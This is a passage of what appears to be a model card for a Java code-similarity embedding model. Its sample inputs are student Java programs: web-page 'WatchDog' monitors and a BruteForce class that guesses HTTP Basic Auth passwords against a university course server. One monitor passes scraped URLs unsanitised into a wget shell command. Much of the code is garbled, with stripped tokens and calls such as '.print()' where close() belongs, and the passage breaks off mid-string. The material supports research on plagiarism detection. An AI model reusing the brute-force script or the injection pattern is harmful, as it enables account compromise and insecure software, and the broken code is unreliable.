    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison 